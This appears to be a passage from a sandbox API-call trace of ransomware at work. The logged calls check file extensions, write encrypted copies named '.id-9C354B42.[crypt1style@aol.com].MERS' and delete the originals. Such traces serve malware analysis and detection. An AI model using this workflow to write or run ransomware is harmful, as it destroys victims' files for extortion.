(lpString=".zip") returned 4 [0259.575] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0259.575] lstrlenW (lpString=".rar") returned 4 [0259.575] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0259.575] lstrlenW (lpString=".bz2") returned 4 [0259.575] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0259.575] lstrlenW (lpString=".7z") returned 3 [0259.575] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0259.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.575] lstrlenW (lpString=".dbf") returned 4 [0259.575] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0259.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.575] lstrlenW (lpString=".1cd") returned 4 [0259.575] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0259.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.575] lstrlenW (lpString=".jpg") returned 4 [0259.575] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0259.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.575] lstrlenW (lpString=".doc") returned 4 [0259.575] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0259.575] lstrlenW (lpString=".docx") returned 5 [0259.575] lstrcmpiW (lpString1=".docx", lpString2="L.ELM") returned -1 [0259.575] lstrlenW (lpString=".pdf") returned 4 [0259.575] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0259.576] lstrlenW (lpString=".xls") returned 4 [0259.576] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0259.576] lstrlenW (lpString=".xlsx") returned 5 [0259.576] lstrcmpiW (lpString1=".xlsx", lpString2="L.ELM") returned -1 [0259.576] lstrlenW (lpString=".ppt") returned 4 [0259.576] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0259.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.576] lstrlenW (lpString=".zip") returned 4 [0259.576] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0259.576] lstrlenW (lpString=".rar") returned 4 [0259.576] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0259.576] lstrlenW (lpString=".bz2") returned 4 [0259.576] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0259.576] lstrlenW (lpString=".7z") returned 3 [0259.576] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0259.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.576] lstrlenW (lpString=".dbf") returned 4 [0259.576] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0259.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.576] lstrlenW (lpString=".1cd") returned 4 [0259.576] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0259.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.576] lstrlenW (lpString=".jpg") returned 4 [0259.576] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0259.576] lstrcmpiW (lpString1=".INF", lpString2=".MERS") returned -1 [0259.576] lstrlenW (lpString="JOURNAL.INF") returned 11 [0259.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.577] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=499) returned 1 [0259.577] CloseHandle (hObject=0x338) returned 1 [0259.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0259.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.577] lstrlenW (lpString=".doc") returned 4 [0259.577] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0259.577] lstrlenW (lpString=".docx") returned 5 [0259.577] lstrcmpiW (lpString1=".docx", lpString2="L.INF") returned -1 [0259.577] lstrlenW (lpString=".pdf") returned 4 [0259.577] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0259.577] lstrlenW (lpString=".xls") returned 4 [0259.577] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0259.577] lstrlenW (lpString=".xlsx") returned 5 [0259.577] lstrcmpiW (lpString1=".xlsx", lpString2="L.INF") returned -1 [0259.577] lstrlenW (lpString=".ppt") returned 4 [0259.577] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0259.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.577] lstrlenW (lpString=".zip") returned 4 [0259.577] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0259.577] lstrlenW (lpString=".rar") returned 4 [0259.577] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0259.577] lstrlenW (lpString=".bz2") returned 4 [0259.578] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0259.578] lstrlenW (lpString=".7z") returned 3 [0259.578] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0259.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.578] lstrlenW (lpString=".dbf") returned 4 [0259.578] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0259.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.578] lstrlenW (lpString=".1cd") returned 4 [0259.578] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0259.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.578] lstrlenW (lpString=".jpg") returned 4 [0259.578] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0259.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.578] lstrlenW (lpString=".doc") returned 4 [0259.578] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0259.578] lstrlenW (lpString=".docx") returned 5 [0259.578] lstrcmpiW (lpString1=".docx", lpString2="L.INF") returned -1 [0259.578] lstrlenW (lpString=".pdf") returned 4 [0259.578] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0259.578] lstrlenW (lpString=".xls") returned 4 [0259.578] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0259.578] lstrlenW (lpString=".xlsx") returned 5 [0259.578] lstrcmpiW (lpString1=".xlsx", lpString2="L.INF") returned -1 [0259.578] lstrlenW (lpString=".ppt") returned 4 [0259.578] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0259.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.578] lstrlenW (lpString=".zip") returned 4 [0259.578] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0259.578] lstrlenW (lpString=".rar") returned 4 [0259.578] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0259.578] lstrlenW (lpString=".bz2") returned 4 [0259.578] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0259.578] lstrlenW (lpString=".7z") returned 3 [0259.579] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0259.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.579] lstrlenW (lpString=".dbf") returned 4 [0259.579] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0259.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.579] lstrlenW (lpString=".1cd") returned 4 [0259.579] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0259.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0259.579] lstrlenW (lpString=".jpg") returned 4 [0259.579] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0259.579] lstrcmpiW (lpString1=".ELM", lpString2=".MERS") returned -1 [0259.579] lstrlenW (lpString="LAYERS.ELM") returned 10 [0259.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.580] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=59203) returned 1 [0259.580] CloseHandle (hObject=0x338) returned 1 [0259.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0259.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.581] lstrlenW (lpString=".doc") returned 4 [0259.581] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0259.581] lstrlenW (lpString=".docx") returned 5 [0259.581] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0259.581] lstrlenW (lpString=".pdf") returned 4 [0259.581] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0259.581] lstrlenW (lpString=".xls") returned 4 [0259.581] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0259.581] lstrlenW (lpString=".xlsx") returned 5 [0259.581] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0259.581] lstrlenW (lpString=".ppt") returned 4 [0259.581] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0259.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.581] lstrlenW (lpString=".zip") returned 4 [0259.581] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0259.581] lstrlenW (lpString=".rar") returned 4 [0259.581] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0259.581] lstrlenW (lpString=".bz2") returned 4 [0259.581] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0259.581] lstrlenW (lpString=".7z") returned 3 [0259.581] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0259.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.581] lstrlenW (lpString=".dbf") returned 4 [0259.581] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0259.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.581] lstrlenW (lpString=".1cd") returned 4 [0259.581] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0259.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.581] lstrlenW (lpString=".jpg") returned 4 [0259.581] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0259.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.582] lstrlenW (lpString=".doc") returned 4 [0259.582] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0259.582] lstrlenW (lpString=".docx") returned 5 [0259.582] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0259.582] lstrlenW (lpString=".pdf") returned 4 [0259.582] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0259.582] lstrlenW (lpString=".xls") returned 4 [0259.582] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0259.582] lstrlenW (lpString=".xlsx") returned 5 [0259.582] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0259.582] lstrlenW (lpString=".ppt") returned 4 [0259.582] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0259.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0259.887] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.887] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0260.317] GetLastError () returned 0x0 [0260.317] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0260.410] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0260.421] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.421] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0260.421] SetEndOfFile (hFile=0x3b4) returned 1 [0260.422] CloseHandle (hObject=0x3b4) returned 1 [0260.422] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.422] SetEndOfFile (hFile=0x39c) returned 1 [0260.791] CloseHandle (hObject=0x39c) returned 1 [0260.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0260.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.797] lstrlenW (lpString=".doc") returned 4 [0260.797] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0260.797] lstrlenW (lpString=".docx") returned 5 [0260.797] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0260.797] lstrlenW (lpString=".pdf") returned 4 [0260.797] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0260.797] lstrlenW (lpString=".xls") returned 4 [0260.797] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0260.797] lstrlenW (lpString=".xlsx") returned 5 [0260.797] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0260.797] lstrlenW (lpString=".ppt") returned 4 [0260.797] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0260.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.797] lstrlenW (lpString=".zip") returned 4 [0260.797] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0260.797] lstrlenW (lpString=".rar") returned 4 [0260.797] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0260.797] lstrlenW (lpString=".bz2") returned 4 [0260.797] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0260.797] lstrlenW (lpString=".7z") returned 3 [0260.797] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0260.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.797] lstrlenW (lpString=".dbf") returned 4 [0260.798] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.798] lstrlenW (lpString=".1cd") returned 4 [0260.798] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.798] lstrlenW (lpString=".jpg") returned 4 [0260.798] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.798] lstrlenW (lpString=".doc") returned 4 [0260.798] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString=".docx") returned 5 [0260.798] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0260.798] lstrlenW (lpString=".pdf") returned 4 [0260.798] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString=".xls") returned 4 [0260.798] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0260.798] lstrlenW (lpString=".xlsx") returned 5 [0260.798] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0260.798] lstrlenW (lpString=".ppt") returned 4 [0260.798] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.798] lstrlenW (lpString=".zip") returned 4 [0260.798] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0260.798] lstrlenW (lpString=".rar") returned 4 [0260.798] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString=".bz2") returned 4 [0260.798] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0260.798] lstrlenW (lpString=".7z") returned 3 [0260.798] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.799] lstrlenW (lpString=".dbf") returned 4 [0260.799] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.799] lstrlenW (lpString=".1cd") returned 4 [0260.799] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0260.799] lstrlenW (lpString=".jpg") returned 4 [0260.799] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0260.799] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0260.799] lstrlenW (lpString="EAST_01.MID") returned 11 [0260.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.887] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=6165) returned 1 [0260.887] CloseHandle (hObject=0x3a0) returned 1 [0260.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0260.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0260.913] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.913] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0261.153] GetLastError () returned 0x0 [0261.153] ReadFile (in: hFile=0x2d8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1815, lpOverlapped=0x0) returned 1 [0261.156] WriteFile (in: hFile=0x3b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0261.157] ReadFile (in: hFile=0x2d8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.157] WriteFile (in: hFile=0x3b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0261.157] SetEndOfFile (hFile=0x3b0) returned 1 [0261.157] CloseHandle (hObject=0x3b0) returned 1 [0261.157] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.157] SetEndOfFile (hFile=0x2d8) returned 1 [0261.160] CloseHandle (hObject=0x2d8) returned 1 [0261.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0261.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.161] lstrlenW (lpString=".doc") returned 4 [0261.161] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.161] lstrlenW (lpString=".docx") returned 5 [0261.162] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.162] lstrlenW (lpString=".pdf") returned 4 